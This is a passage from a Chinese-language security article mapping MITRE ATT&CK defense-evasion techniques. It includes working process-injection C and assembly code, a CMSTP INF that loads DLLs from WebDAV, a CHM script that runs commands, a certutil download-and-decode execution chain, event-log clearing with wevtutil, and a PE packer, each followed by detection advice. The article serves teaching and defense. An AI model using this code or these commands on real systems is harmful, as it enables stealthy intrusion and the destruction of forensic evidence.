RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\test.dll
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"
需要注意到的是INF文件的RegisterOCXSection需要包含惡意DLL文件的本地路徑或遠程執行的WebDAV位置。這樣就能從本地或Webdav中加載DLL文件。
從WebDAV服務器實現加載dll需要修改下面內容:
[RegisterOCXSection]
\10.10.10.10webdavAllTheThings.dll
命令行:cmstp.exe /s c:\cmstp.inf
當然,還可以將RegisterOCXSection 換成RunPreSetupCommandsSection,在此項下可以直接執行命令程序,例如:
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
RunPreSetupCommands=RunPreSetupCommandsSection
[RunPreSetupCommandsSection]
c:\windows\system32\calc.exe
taskkill /IM cmstp.exe /F
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="CorpVPN"
ShortSvcName="CorpVPN"
運行效果圖
如下圖所示,在命令行中執行cmstp 并加入相關參數cmstpdll.inf ,我們預設的dll 就運行在了cmstp進程中,此處或許可能被惡意代碼所利用,用以逃避殺軟白名單檢測及進程檢測等
執行命令,彈出計算器:

檢查及限制方案
-
使用進程監視來檢測和分析CMSTP.exe的執行和參數。將最近對CMSTP.exe的調用與已知的參數和已加載文件的歷史進行比較,以確定異常和潛在的對抗性活動。
-
Sysmon事件也可以用來識別CMSTP.exe的潛在威脅。
參考鏈接
14、額外窗口內存注入
原理及代碼介紹
在創建窗口之前,基于圖形Windows的進程必須注冊一個Windows類,該類規定外觀和行為。新窗口類的注冊可以包括一個請求,請求將多達40個字節的額外窗口內存(EWM)附加到該類的每個實例的分配內存中。該EWM旨在存儲特定于該窗口的數據,并具有特定的應用程序編程接口(API)函數來設置和獲取其值。
雖然EWM很小,但它的大小足以存儲32位指針,并且經常用于指向Windows過程。EWMI依賴注入到資源管理器托盤窗口內存中,并在惡意軟件家族Gapz和PowerLoader中使用多次。然而,在EWM中沒有太多的空間。為了規避這個限制,惡意軟件將代碼寫入explorer.exe的共享段中,并使用SetWindowLong和SendNotifyMessage得到一個指向shellcode的函數指針,然后執行它。
當寫入共享段時,惡意軟件有兩個選項。它能創建一個共享段自己映射到另一個進程(如explorer)中,或者打開一個已存在的共享段。前者有分配堆內存的開銷,而且還要調用NtMapViewOfSection等API,因此后者更常用。在惡意代碼將shellcode寫入共享段后,使用GetWindowLong和SetWindowLong來訪問并修改Shell_TrayWnd的額外的窗口內存。GetWindowLong是用于通過32位值作為偏移得到窗口類對象中額外窗口內存,同時使用SetWindowLong能改變指定偏移的值。通過完成這個,惡意代碼能改變窗口類中的函數指針,將它指向共享段的shellcode。
和上述的技術一樣,惡意軟件需要觸發寫入的代碼。有一些技術是通過調用類似CreateRemoteThread,SetThreadContext,QueueUserAPC這些API來實現的。與其他不同的是,這種技術是通過使用SendNotifyMessage或PostMessage來觸發代碼執行的。
一旦執行SendNotifyMessage或PostMessage,Shell_TrayWnd將接收到并將控制移交給SetWindowLong設置的地址。
主程序源代碼如下:
HANDLE g_hprocess = NULL;
unsigned char shellcode[100] = { 0, };
DWORD shellcodeSize = sizeof(shellcode);
PVOID mapshellocdeprocess()
{
HANDLE hSection = NULL;
OBJECT_ATTRIBUTES hAttributes;
memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES));
LARGE_INTEGER maxSize;
maxSize.HighPart = 0;
// 保存殼代碼與指針
maxSize.LowPart = sizeof(LONG) * 2 + shellcodeSize;
NTSTATUS status = NULL;
if ((status = ZwCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS)
{
printf("[ERROR] ZwCreateSection failed, status : %x\n", status);
return NULL;
}
PVOID sectionBaseAddress = NULL;
ULONG viewSize = 0;
SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE
// 映射
if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), §ionBaseAddress, NULL, NULL, NULL, &viewSize, inheritDisposition, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
{
printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
return NULL;
}
printf("Section BaseAddress: %p\n", sectionBaseAddress);
// 切換到映射
PVOID sectionBaseAddress2 = NULL;
if ((status = NtMapViewOfSection(hSection, g_hprocess, §ionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
{
printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
return NULL;
}
LPVOID shellcode_remote_ptr = sectionBaseAddress2;
LPVOID shellcode_local_ptr = sectionBaseAddress;
memcpy(shellcode_local_ptr, shellcode, shellcodeSize);
printf("Shellcode copied!\n");
LPVOID handles_remote_ptr = (BYTE*)shellcode_remote_ptr + shellcodeSize;
LPVOID handles_local_ptr = (BYTE*)shellcode_local_ptr + shellcodeSize;
PVOID buf_va = (BYTE*)handles_remote_ptr;
LONG hop1 = (LONG)buf_va + sizeof(LONG);
LONG shellc_va = (LONG)shellcode_remote_ptr;
memcpy((BYTE*)handles_local_ptr, &hop1, sizeof(LONG));
memcpy((BYTE*)handles_local_ptr + sizeof(LONG), &shellc_va, sizeof(LONG));
//u nmap from the context of current process
ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress);
ZwClose(hSection);
printf("Section mapped at address: %p\n", sectionBaseAddress2);
return shellcode_remote_ptr;
}
int main()
{
// 查找Shell_TrayWnd 外殼類,主要是管理
HWND hWnd =
FindWindow(
L"Shell_TrayWnd",
NULL
);
if (hWnd == NULL)
return -1;
DWORD pid = 0;
LONG nwlong = 0;
nwlong = GetWindowThreadProcessId(hWnd, &pid);
// 打開Shell_TrayWnd
g_hprocess =
OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE,
false,
pid
);
if (g_hprocess == NULL)
return 0;
// 映射shellcode
LPVOID remoteshellcodeptr = mapshellocdeprocess();
// 設置到額外的窗口內存中
SetWindowLong(
hWnd,
0,
/*參數三替換值shellcodeptr*/
(LONG)remoteshellcodeptr
);
// 調用窗口過程也就是發送執行shellcode
SendNotifyMessage(hWnd, WM_PAINT, 0, 0);
// 這里先sleep等待執行
Sleep(5000);
// 恢復原來得數據
SetWindowLong(hWnd, 0, nwlong);
SendNotifyMessage(hWnd, WM_PAINT, 0, 0);
CloseHandle(g_hprocess);
}
Payload:
LRESULT CALLBACK SubclassProc(HWND hWnd, UINT uMsg, WPARAM wParam,
LPARAM lParam) {
if (uMsg != WM_CLOSE) return 0;
WinExec_t pWinExec;
DWORD szWinExec[2],
szNotepad[3];
// WinExec
szWinExec[0] = 0x456E6957;
szWinExec[1] = 0x00636578;
// runs notepad
szNotepad[0] = *(DWORD*)"note";
szNotepad[1] = *(DWORD*)"pad\0";
pWinExec = (WinExec_t)puGetProcAddress(szWinExec);
if (pWinExec != NULL) {
pWinExec((LPSTR)szNotepad, SW_SHOW);
}
return 0;
}
因為需要從OD中復制出來shellcode,放入字符串數組中運行。
所以模塊基址的獲取和函數的獲取需要使用匯編自己獲取。
// ===================獲取模塊基址============================
DWORD puGetModule(const DWORD Hash)
{
DWORD nDllBase = 0;
__asm {
jmp start
/*函數1:遍歷PEB_LDR_DATA鏈表HASH加密*/
GetModulVA :
push ebp;
mov ebp, esp;
sub esp, 0x20;
push edx;
push ebx;
push edi;
push esi;
mov ecx, 8;
mov eax, 0CCCCCCCCh;
lea edi, dword ptr[ebp - 0x20];
rep stos dword ptr es : [edi];
mov esi, dword ptr fs : [0x30];
mov esi, dword ptr[esi + 0x0C];
mov esi, dword ptr[esi + 0x1C];
tag_Modul:
mov dword ptr[ebp - 0x8], esi; // 保存LDR_DATA_LIST_ENTRY
mov ebx, dword ptr[esi + 0x20]; // DLL的名稱指針(應該指向一個字符串)
mov eax, dword ptr[ebp + 0x8];
push eax;
push ebx; // +0xC
call HashModulVA;
test eax, eax;
jnz _ModulSucess;
mov esi, dword ptr[ebp - 0x8];
mov esi, [esi]; // 遍歷下一個
LOOP tag_Modul
_ModulSucess :
mov esi, dword ptr[ebp - 0x8];
mov eax, dword ptr[esi + 0x8];
pop esi;
pop edi;
pop ebx;
pop edx;
mov esp, ebp;
pop ebp;
ret
/*函數2:HASH解密算法(寬字符解密)*/
HashModulVA :
push ebp;
mov ebp, esp;
sub esp, 0x04;
mov dword ptr[ebp - 0x04], 0x00
push ebx;
push ecx;
push edx;
push esi;
// 獲取字符串開始計算
mov esi, [ebp + 0x8];
test esi, esi;
jz tag_failuers;
xor ecx, ecx;
xor eax, eax;
tag_loops:
mov al, [esi + ecx]; // 獲取字節加密
test al, al; // 0則退出
jz tag_ends;
mov ebx, [ebp - 0x04];
shl ebx, 0x19;
mov edx, [ebp - 0x04];
shr edx, 0x07;
or ebx, edx;
add ebx, eax;
mov[ebp - 0x4], ebx;
inc ecx;
inc ecx;
jmp tag_loops;
tag_ends:
mov ebx, [ebp + 0x0C]; // 獲取HASH
mov edx, [ebp - 0x04];
xor eax, eax;
cmp ebx, edx;
jne tag_failuers;
mov eax, 1;
jmp tag_funends;
tag_failuers:
mov eax, 0;
tag_funends:
pop esi;
pop edx;
pop ecx;
pop ebx;
mov esp, ebp;
pop ebp;
ret 0x08
start:
/*主模塊*/
pushad;
push Hash;
call GetModulVA;
add esp, 0x4
mov nDllBase, eax;
popad;
}
return nDllBase;
}
// ===================獲取函數地址============================
DWORD puGetProcAddress(const DWORD dllvalues, const DWORD Hash)
{
DWORD FunctionAddress = 0;
__asm {
jmp start
// 自定義函數計算Hash且對比返回正確的函數
GetHashFunVA :
push ebp;
mov ebp, esp;
sub esp, 0x30;
push edx;
push ebx;
push esi;
push edi;
lea edi, dword ptr[ebp - 0x30];
mov ecx, 12;
mov eax, 0CCCCCCCCh;
rep stos dword ptr es : [edi];
// 以上開辟棧幀操作(Debug版本模式)
mov eax, [ebp + 0x8]; // ☆ kernel32.dll(MZ)
mov dword ptr[ebp - 0x8], eax;
mov ebx, [ebp + 0x0c]; // ☆ GetProcAddress Hash值
mov dword ptr[ebp - 0x0c], ebx;
// 獲取PE頭與RVA及ENT
mov edi, [eax + 0x3C]; // e_lfanew
lea edi, [edi + eax]; // e_lfanew + MZ = PE
mov dword ptr[ebp - 0x10], edi; // ☆ 保存PE(VA)
// 獲取ENT
mov edi, dword ptr[edi + 0x78]; // 獲取導出表RVA
lea edi, dword ptr[edi + eax]; // 導出表VA
mov[ebp - 0x14], edi; // ☆ 保存導出表VA
// 獲取函數名稱數量
mov ebx, [edi + 0x18];
mov dword ptr[ebp - 0x18], ebx; // ☆ 保存函數名稱數量
// 獲取ENT
mov ebx, [edi + 0x20]; // 獲取ENT(RVA)
lea ebx, [eax + ebx]; // 獲取ENT(VA)
mov dword ptr[ebp - 0x20], ebx; // ☆ 保存ENT(VA)
// 遍歷ENT 解密哈希值對比字符串
mov edi, dword ptr[ebp - 0x18];
mov ecx, edi;
xor esi, esi;
mov edi, dword ptr[ebp - 0x8];
jmp _WHILE;
// 外層大循環
_WHILE :
mov edx, dword ptr[ebp + 0x0c]; // HASH
push edx;
mov edx, dword ptr[ebx + esi * 4]; // 獲取第一個函數名稱的RVA
lea edx, [edi + edx]; // 獲取一個函數名稱的VA地址
push edx; // ENT表中第一個字符串地址
call _STRCMP;
cmp eax, 0;
jnz _SUCESS;
inc esi;
LOOP _WHILE;
jmp _ProgramEnd;
// 對比成功之后獲取循環次數(下標)cx保存下標數
_SUCESS :
// 獲取EOT導出序號表內容
mov ecx, esi;
mov ebx, dword ptr[ebp - 0x14];
mov esi, dword ptr[ebx + 0x24];
mov ebx, dword ptr[ebp - 0x8];
lea esi, [esi + ebx]; // 獲取EOT的VA
xor edx, edx;
mov dx, [esi + ecx * 2]; // 注意雙字 獲取序號
// 獲取EAT地址表RVA
mov esi, dword ptr[ebp - 0x14]; // Export VA
mov esi, [esi + 0x1C];
mov ebx, dword ptr[ebp - 0x8];
lea esi, [esi + ebx]; // 獲取EAT的VA
mov eax, [esi + edx * 4]; // 返回值eax(GetProcess地址)
lea eax, [eax + ebx];
jmp _ProgramEnd;
_ProgramEnd:
pop edi;
pop esi;
pop ebx;
pop edx;
mov esp, ebp;
pop ebp;
ret 0x8;
// 循環對比HASH值
_STRCMP:
push ebp;
mov ebp, esp;
sub esp, 0x04;
mov dword ptr[ebp - 0x04], 0x00;
push ebx;
push ecx;
push edx;
push esi;
// 獲取字符串開始計算
mov esi, [ebp + 0x8];
xor ecx, ecx;
xor eax, eax;
tag_loop:
mov al, [esi + ecx]; // 獲取字節加密
test al, al; // 0則退出
jz tag_end;
mov ebx, [ebp - 0x04];
shl ebx, 0x19;
mov edx, [ebp - 0x04];
shr edx, 0x07;
or ebx, edx;
add ebx, eax;
mov[ebp - 0x4], ebx;
inc ecx;
jmp tag_loop;
tag_end :
mov ebx, [ebp + 0x0C]; // 獲取HASH
mov edx, [ebp - 0x04];
xor eax, eax;
cmp ebx, edx;
jne tag_failuer;
mov eax, 1;
jmp tag_funend;
tag_failuer:
mov eax, 0;
tag_funend:
pop esi;
pop edx;
pop ecx;
pop ebx;
mov esp, ebp;
pop ebp;
ret 0x08
start:
pushad;
push Hash; // Hash加密的函數名稱
push dllvalues; // 模塊基址.dll
call GetHashFunVA; // GetProcess
mov FunctionAddress, eax; // ☆ 保存地址
popad;
}
return FunctionAddress;
}
運行效果圖
當主程序執行時,記事本就會運行,并通過進程樹發現,記事本作為explorer.exe的子進程在運行。

檢查及限制方案
監視操作EWM(如GetWindowLong和SetWindowLong)相關的API調用。
參考鏈接
https://attack.mitre.org/techniques/T1181/
15、修改文件權限
原理及代碼介紹
文件和目錄權限通常由文件或目錄所有者指定的自主訪問控制列表(DACL)管理。自主訪問控制列表(DACL)是一個最普遍類型的訪問控制列表(ACL)。在一個DACL(Discretionary Access Control List)中,指出了允許和拒絕某用戶或用戶組的存取控制列表。當一個進程需要訪問安全對象時,系統就會檢查DACL來決定進程的訪問權。如果一個對象沒有DACL,則說明任何人對這個對象都可以擁有完全的訪問權限。
用戶可以使用attrib.exe二進制文件修改特定文件的屬性。簡單地命令attrib +h filename,就是隱藏文件。
攻擊者可以通過修改文件或目錄的權限和屬性以攻破DACL的設置。著名的WannaCry 就使用了attrib +h和icacls . /grant Everyone:F /T /C /Q 隱藏其某些文件并授予所有用戶完全訪問控制權限
對ICacls詳細參數可參考:
對attrib詳細參數可參考:
從這些功能上看,通過修改文件屬性和權限,可以針對繞過文件監視,文件系統訪問控制。
運行效果圖
ICacls查看目錄和文件的權限

隱藏文件

檢查及限制方案
-
監視和調查修改DACL和文件/目錄所有權的操作,例如icacls的使用。
-
考慮對二進制或配置文件的目錄權限更改進行審核。
-
修改DACL時使用Windows安全日志記錄事件。
參考鏈接
16、CHM文件隱藏代碼執行
原理及代碼介紹
CHM文件是一種“已編譯的HTML文件”,是微軟新一代的幫助文件格式,利用HTML作源文,把幫助內容以類似數據庫的形式編譯儲存。而該類型的文件是可以用Windows自帶的hh.exe文件來打開的。CHM文件可以包含各種文件,如HTML文件,圖像以及與腳本相關的編程語言。攻擊者可能會濫用此技術來隱藏惡意代碼,傳輸包含代碼的自定義CHM文件。并且可以繞過一些未升級的系統上的應用程序白名單。Silence組織就曾使用惡意CHM文檔攻擊俄羅斯銀行。
編寫CHM文件需要準備一個HTML文件,如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>title</title>
<script type="text/javascript">
var objShell
var objShell= new ActiveXObject("WScript.Shell")
var iReturnCode=objShell.Run("calc.exe",0,true)
</script>
</head>
<body>
</body>
</html>
了解HTML文件格式可以訪問:HTML文件格式
眾所周知,HTML文件不能執行cmd命令,編譯成CHM文件就可以完美執行。
CHM文件的制作工具比較多,本次介紹一款工具 easy chm,可以去官網下載。
打開easy chm后點擊新建

將HTML文件單獨放在一個文件夾中,瀏覽的路徑是一個文件夾路徑

確定之后,點擊編譯即可

運行效果圖
雙擊運行生成的CHM文件,彈出計算器

檢查及限制方案
-
監視和分析hh.exe的執行和參數。將最近對hh.exe的調用與已知的參數的歷史進行比較,以確定異常和潛在的對抗性活動。
-
監視CHM文件的存在和使用。
參考鏈接
17、本機程序編譯代碼執行
原理及代碼介紹
當進行數據的傳輸時,Windows可能會對可執行文件進行分析和檢查。如果將文件作為未編譯代碼傳遞,這些代碼的行為就會難以被發現和分析。當然這些代碼需要編譯后執行,通常是通過本機的實用工具(如csc.exe)進行編譯。
csc.exe是微軟.NET Framework 中的C#語言編譯器,在環境變量里加入csc.exe的路徑:C:\Windows\Microsoft.NET\Framework\v4.0.30319(注意,路徑和版本號會因為你的安裝和下載的不同而不同,自己到安裝目錄下看看)。
用記事本編寫源代碼:
using System;
using System.Windows.Forms;
class TestApp
{
public static void Main()
{
MessageBox.Show("Hello!");
}
}
保存為.cs文件,在cmd命令行中執行命令:csc /reference:System.Windows.Forms.dll TestApp.cs
即可編譯成TestApp.exe。
關于csc.exe詳細命令參數可參考:csc.exe命令
MinGW(Minimalist GNU For Windows)是個精簡的Windows平臺C/C++、ADA及Fortran編譯器。下載地址。
安裝完成之后,配置環境變量,可以編譯.c文件。
命令:gcc test.c -o test
這種技術可以繞過基于簽名的檢測,白名單等。
運行效果圖
cse.exe
編譯完成并生成exe文件。


MinGW:
命令行編譯完成,生成exe文件


檢查及限制方案
-
監視常用編譯器(如csc.exe)的執行文件路徑和命令行參數,并與其他可疑行為相關聯。
-
尋找非本地二進制格式和跨平臺編譯器和執行框架,如Mono,并確定它們在系統上是否有合法的用途。
參考鏈接
18、間接命令執行
原理及代碼介紹
在Windows系統中可以使用各種Windows實用程序來執行命令,而不需要調用CMD。攻擊者可能會濫用這些特征來繞過一些防御機制,如應用程序白名單等。
使用 Forfiles 可以通過不直接調用CMD,來隱藏命令執行。
Forfiles是一款windows平臺的軟件工具,其中選擇文件并運行一個命令來操作文件。文件選擇標準包括名稱和上次修改日期。命令說明符支持一些特殊的語法選項。它可以直接在命令行中使用,也可以在批處理文件或其他腳本中使用。forfiles命令最初作為加載項提供在Windows NT 資源工具包中。它成為Windows Vista的標準實用程序,作為新管理功能的一部分。
具體Forfiles使用參數參考:
運行效果圖
運行Forfiles

檢查及限制方案
監視和分析來自基于主機的檢測機制(如Sysmon)的日志,查看包含或由調用程序,命令,文件,生成子進程,網絡連接相關的參數的進程創建等事件。
參考鏈接
19、解碼文件并執行
原理及代碼介紹
攻擊者可以混淆文件或信息,從而無法分析惡意代碼的行為和信息。混淆的方法有很多,比如最簡單的異或和其它的加密算法。下面介紹一種惡意軟件使用過的方法。
Windows有一個名為CertUtil的內置程序,可用于在Windows中管理證書,使用此程序可以在Windows中安裝,備份,刪除,管理和執行與證書和證書存儲相關的各種功能。
攻擊者可以利用certutil.exe把二進制文件(包括各種文件)經過base64編碼為文本,這樣可以將可執行文件隱藏在文件中,使惡意代碼樣本看起來像是無害的文本文件。
先將程序編碼為文本:
certutil -encode hello.exe hello.txt
下載文件到本地
certutil -urlcache -split -f [URL] hello.txt
將文本解碼為程序
certutil -decode hello.txt hello.exe
也可以將程序編碼為批處理文件(bat),在文件頭部添加幾行批處理代碼
@echo off`
`certutil -decode "%~f0" hello.exe`
`start hello.exe`
`exit /b 1
像這種編碼混淆文件的方法可以繞過基于簽名的檢測,網絡入侵檢測等,較多的惡意代碼樣本使用了此技術。
運行效果圖
執行完encode后生成的txt文件和bat文件內容

執行decode解碼為exe文件,或直接執行bat腳本文件,代碼順利執行

檢查及限制方案
執行進程和命令行監視,以檢測與腳本和系統實用程序相關的潛在惡意行為。
參考鏈接
https://attack.mitre.org/techniques/T1140/
20、入侵痕跡清除
原理及代碼介紹
在分析惡意代碼的時候,大家通常都會看到很多刪除文件的操作。通過刪除文件,攻擊者可以清除入侵過程中的痕跡,防止留下證據被防御者找到。刪除文件的方法有很多,大多數是用一些庫函數,API,system命令等等。具體代碼如下:
int main()
{
string dirName = "D:\\test";
bool flag = RemoveDirectory(dirName.c_str());`
return 0;
}
int main()
{
string path = "c:\\test.chm";
rmdir(path.c_str());
return 0;
}
int main()
{
string command;
command = "rd /s /q c:\\test ";
system(command.c_str());
}
int main()
{
string command;
command = "del /F /Q C:\test.txt ";
system(command.c_str());
}
不過大家都知道,在Windows下刪除文件其實不是真的刪除, 只是把那個文件的某個屬性從0標識成1,你看不見而已。這也是為什么被刪除的數據,可以恢復的道理。 所以也有很多惡意代碼使用刪除文件工具,進行安全刪除。如SDelete,它安全地刪除沒有任何特殊屬性的文件相對而言簡單而直接:安全刪除程序使用安全刪除模式簡單地覆蓋文件。較為復雜的是安全地刪除 Windows NT/2K 壓縮、加密和稀疏文件,以及安全地清理磁盤可用空間。 感興趣的可以參考:
除了刪除文件,一般還會清除日志Windows事件日志。Windows事件日志是計算機警報和通知的記錄。Microsoft將事件定義為“系統或程序中需要通知用戶或添加到日志中的任何重要事件”。事件有三個系統定義的來源:系統、應用程序和安全。執行與帳戶管理、帳戶登錄和目錄服務訪問等相關的操作的對手可以選擇清除事件以隱藏其活動。
程序命令執行清除事件日志:
wevtutil cl system
wevtutil cl application
wevtutil cl security
運行效果圖
運行SDelete如圖所示
![avatar]

清除系統日志
![avatar]

檢查及限制方案
-
在環境中檢測與命令行函數(如 DEL,第三方實用程序或工具 )相關的不常見的事件。
-
監視執行刪除功能可能會導致的惡意活動。
-
監視已知的刪除工具和安全刪除工具 。
-
使用文件系統監視文件的不當刪除或修改。例如,刪除Windows事件日志。
參考鏈接
21、文件加殼
原理及代碼介紹
軟件打包指的是對可執行文件進行壓縮或加密。打包可執行文件會更改文件簽名,以避免基于簽名的檢測。通常我們稱軟件打包為加殼。
當一個程序生成好后,很輕松的就可以利用諸如資源工具和反匯編工具對它進行修改,但如果程序員給程序加一個殼的話,那么至少這個加了殼的程序就不是那么好修改了,如果想修改就必須先脫殼。而且殼的解壓縮是在內存中進行的,能檢測到的殺毒軟件就很少。大部分的程序是因為防止反跟蹤,防止程序被人跟蹤調試,防止算法程序不想被別人靜態分析。加密代碼和數據,保護你的程序數據的完整性。不被修改或者窺視你程序的內幕。
現在有很多加殼器,例如MPress和UPX。也可以寫一個自己的加殼器。針對PE文件寫加殼器需要對PE文件的格式和各種結構有充分的了解。

下面是加殼器的主要代碼
//增加區段
void CPackPE::AddSection1(char*& pFileBuff, int& fileSize, const char* scnName, int scnSize)
{
// 1.1 增加文件頭的區段個數
GetFileHeader(pFileBuff)->NumberOfSections++;
// 1.2 配置新區段的區段頭
IMAGE_SECTION_HEADER* pNewScn = NULL;
pNewScn = GetLastSection(pFileBuff);
PIMAGE_SECTION_HEADER pLastSection = pNewScn - 1;
// 1.2.1 區段的名字
memcpy(pNewScn->Name, scnName, 8);
// 1.2.2 區段的大小(實際大小/對齊后大小)
pNewScn->Misc.VirtualSize = scnSize;
pNewScn->SizeOfRawData =
aligment(scnSize,
GetOptionHeader(pFileBuff)->FileAlignment);
// 新區段的內存偏移 = 上一個區段的內存偏移+上一個區段的大小(內存粒度對齊后的大小)
pNewScn->VirtualAddress =
pLastSection->VirtualAddress +
aligment(pLastSection->Misc.VirtualSize,
GetOptionHeader(pFileBuff)->SectionAlignment);
// 設置文件偏移和文件大小
while (TRUE)
{
if (pLastSection->PointerToRawData)
{
// 找到前一個非0的區段
pNewScn->PointerToRawData = pLastSection->PointerToRawData +
pLastSection->SizeOfRawData;
break;
}
pLastSection = pLastSection - 1;
}
// 1.2.4 區段的屬性(0xE00000E0)
pNewScn->Characteristics = 0xE00000E0;
// 2. 修改擴展頭的映像大小
GetOptionHeader(pFileBuff)->SizeOfImage = pNewScn->VirtualAddress + pNewScn->Misc.VirtualSize;
// 3. 擴充文件數據的堆空間大小
int newSize = pNewScn->PointerToRawData + pNewScn->SizeOfRawData;
char* pNewBuff = new char[newSize];
memcpy(pNewBuff, pFileBuff, fileSize);
// 釋放舊的緩沖區
delete[] pFileBuff;
// 將新的緩沖區首地址和新的文件大小賦值給形參(修改實參)
fileSize = newSize;
pFileBuff = pNewBuff;
}
這里是部分殼代碼
//修復IAT
void DealwithIAT()
{
// 1.獲取第一項iat項
// 1.獲取加載基址
// 2.獲取導入表的信息
g_dwImageBase = (DWORD)MyGetModuleHandleW(NULL);
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(g_dwImageBase + g_conf.ImportTableRva);
// 3.解析導入表信息
HMODULE hMoudle;
PDWORD TableIAT = NULL;
DWORD ThunkRVA;
while (pImport->Name)
{
//獲取dll基址
hMoudle = MyLoadLibraryA((char*)(pImport->Name + g_dwImageBase));
// 是否是有效的IAT
if (pImport->FirstThunk == 0)
{
++pImport;
continue;
}
TableIAT = (PDWORD)(pImport->FirstThunk + g_dwImageBase);
if (pImport->OriginalFirstThunk == 0)
{
ThunkRVA = pImport->FirstThunk;
}
else
{
ThunkRVA = pImport->OriginalFirstThunk;
}
PIMAGE_THUNK_DATA lpThunkData = (PIMAGE_THUNK_DATA)(g_dwImageBase + ThunkRVA);
DWORD dwFunName;
while (lpThunkData->u1.Ordinal != 0)
{
// 名稱導出
if ((lpThunkData->u1.Ordinal & 0x80000000) == 0)
{
PIMAGE_IMPORT_BY_NAME lpImportByName = (PIMAGE_IMPORT_BY_NAME)(g_dwImageBase + lpThunkData->u1.Ordinal);
dwFunName = (DWORD)&lpImportByName->Name;
}
else
{
dwFunName = lpThunkData->u1.Ordinal & 0xFFFF;
}
DWORD dwFunAddr = (DWORD)MyGetProcAddress(hMoudle, (char*)dwFunName);
DWORD dwOldProtect = 0;
MyVirtualProtect(TableIAT, 4, PAGE_EXECUTE_READWRITE, &dwOldProtect);
dwFunAddr = EncryptFun(dwFunAddr);
*(TableIAT) = dwFunAddr;
MyVirtualProtect(TableIAT, 4, dwOldProtect, &dwOldProtect);
++TableIAT;
++lpThunkData;
}
++pImport;
}
}
//修復目標PE的重定位表
void FixPEReloc()
{
// 獲取當前進程的加載基址
DWORD dwImageBase = (DWORD)MyGetModuleHandleW(NULL);
// 1. 修復目標PEg_dwImageBase
PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)(g_conf.stcReloc.VirtualAddress + dwImageBase);//g_dwImageBase
while (pReloc->SizeOfBlock)
{
PWORD pOffsetType = (PWORD)((DWORD)pReloc + sizeof(IMAGE_BASE_RELOCATION));
DWORD dwCount = (pReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
// 修改內存屬性
DWORD dwOldProtect = 0;
MyVirtualProtect((PBYTE)dwImageBase + pReloc->VirtualAddress, pReloc->SizeOfBlock, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 循環檢查重定位項
for (DWORD i = 0; i < dwCount; ++i)
{
WORD dwOffset = *pOffsetType & 0xFFF;
WORD dwType = *pOffsetType >> 12;
// 去除無效的重定位項
if (!*pOffsetType) continue;
if (dwType == 3)
{
// 獲取此重定位項指向的指針
DWORD dwPointToRVA = dwOffset + pReloc->VirtualAddress;
PDWORD pdwPtr = (PDWORD)(dwPointToRVA + dwImageBase);
// 計算增量值
DWORD dwIncrement = dwImageBase - g_conf.dwDefaultImageBase;
DWORD OldProtect = 0;
MyVirtualProtect((PBYTE)(pdwPtr), 0x4, PAGE_EXECUTE_READWRITE, &OldProtect);
// 修改重定位項
*((PDWORD)pdwPtr) += dwIncrement;
MyVirtualProtect((PBYTE)(pdwPtr), 0x4, OldProtect, &OldProtect);
}
// 下一輪循環
++pOffsetType;
}
// 恢復內存訪問屬性
MyVirtualProtect((PBYTE)dwImageBase + pReloc->VirtualAddress, pReloc->SizeOfBlock, dwOldProtect, &dwOldProtect);
// 下一個重定位塊
pReloc = (PIMAGE_BASE_RELOCATION)((DWORD)pReloc + pReloc->SizeOfBlock);
}
}
通過加殼,修改了文件的大小,簽名等信息,可以繞過基于特征的檢測,防止被靜態分析,是惡意代碼常用的伎倆。
運行效果圖
目標程序被加殼后,發現PE文件多了一個區段,這里面就是殼程序

檢查及限制方案
使用文件掃描來查找已知的軟件包裝器或包裝技術的工件。
參考鏈接
https://attack.mitre.org/techniques/T1045/
三、結語
防御逃逸所擁有的技術是MITRE ATT&CK框架所述戰術中最多的,詳細介紹了防御逃逸技術的不同方向以及相同方向上的不同手段。通過上文的介紹,大家可以看到達到相同的目的可以用到不同的技術手段。當然隨著防御者根據這些策略的更新,攻擊者也在尋找更隱蔽的方法來繞過安全工具的檢測和防御。這就要求防御者能夠與時俱進,緊跟技術發展的腳步。本文到此就結束了,希望大家都能有所收獲!
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/1103/